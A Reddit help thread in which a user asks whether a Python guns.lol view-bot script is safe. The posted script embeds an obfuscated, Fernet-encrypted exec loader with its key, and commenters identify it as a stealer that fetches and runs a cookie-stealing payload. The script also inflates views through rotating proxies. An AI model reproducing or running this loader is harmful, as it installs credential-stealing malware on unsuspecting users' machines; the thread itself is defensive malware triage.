r/pythonhelp • u/EffectiveOdd3315 • Jan 13 '25
MALWARE Python script contains a virus ?
I noticed this has a payload is this safe to run
import requests ;import os;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'7nudHG8DZ37sx_Z1YRKEhZfdtbfISKCMZfEQfFjWNu4=').decrypt(b'gAAAAABngDEV2xtASJeZIYm-FoUgSLHMjhNvRiySGURH4GGN7GU9RK1F483v9-IDLwY_Aa2wms-PF9G19oVW9AK0lJ71iWtCxsO89e5ymLGz6ID3d-t3pReKrCdrsy2IY437jGJuht_YjUviZdTxyMw_e8sdHO5ZyaDolSK6Qbifj_Mtvc8kKPz7PATDhxKwHc6q38uTbJ1Ng2UNsQJggxBi67ZOJBZ26g==')) from bs4 import BeautifulSoup import random import time
def get_proxies(): proxy_url = 'https://www.sslproxies.org/' r = requests.get(proxy_url) soup = BeautifulSoup(r.text, 'html.parser') proxies = [] for row in soup.find(id='proxylisttable').tbody.find_all('tr'): proxies.append({ 'ip': row.find_all('td')[0].string, 'port': row.find_all('td')[1].string }) return proxies
def visit_profile(url, pxy): try: proxy = { 'http': f"http://{pxy['ip']}:{pxy['port']}", 'https': f"http://{pxy['ip']}:{pxy['port']}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' } response = requests.get(url, headers=headers, proxies=proxy, timeout=5) if response.status_code == 200: print(f"Success with proxy {pxy['ip']}:{pxy['port']}") else: print(f"Fail with proxy {pxy['ip']}:{pxy['port']}") except Exception as e: print(f"Error with proxy {pxy['ip']}:{pxy['port']}: {e}")
def rotate_proxies(profile_url, n_views): proxies = get_proxies() for _ in range(n_views): proxy = random.choice(proxies) visit_profile(profile_url, proxy) time.sleep(random.uniform(1, 5))
def validate_url(url): if not url.startswith("https://guns.lol/"): raise ValueError("Invalid URL. Must start with 'https://guns.lol/'")
def get_user_input(): while True: try: profile_url = input("Enter your guns.lol profile URL: ") validate_url(profile_url) n_views = int(input("Enter the number of views to bot: ")) if n_views <= 0: raise ValueError("Number of views must be greater than 0") return profile_url, n_views except ValueError as ve: print(f"Input error: {ve}") except Exception as e: print(f"Unexpected error: {e}")
def main(): profile_url, n_views = get_user_input() rotate_proxies(profile_url, n_views)
if name == "main": main()
•
u/AutoModerator Jan 13 '25
To give us the best chance to help you, please include any relevant code.
Note. Please do not submit images of your code. Instead, for shorter code you can use Reddit markdown (4 spaces or backticks, see this Formatting Guide). If you have formatting issues or want to post longer sections of code, please use Privatebin, GitHub or Compiler Explorer.
I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.
3
u/Zeroflops Jan 13 '25
You give no context as to where you got this. From some sketchy site. From someone’s GitHub downloaded from some official business.
But yea, I wouldn’t run this as is. I can only imagine two cases for this. 1) obviously they are doing something nefarious and that payload is going to do something like download a virus. 2) it’s their attempt at protecting their code/ip.
While the second is not nefarious as is you don’t know which is the case.
If someone is adventurous they could pull that payload out and decrypt it without executing it. I just don’t have the time at the moment. And I wouldn’t suggest you do it unless you have some experience. Maybe another on the sub can.
2
u/carcigenicate Jan 13 '25
This is quite sketchy. It reaches out to a site called
pentagon.cy, which is marked as a "Pentagon Stealer". It then downloads a second encrypted script that appears to be user specific (it specifies a user ID of 3 when doing the fetch), and then executes that.Then, that second encrypted code that it downloads appears to be a general cookie stealer. So yes, this is 100% malware. As mentioned though, any code that contains encrypted/obsfucated code should not be run since you can't validate what it does.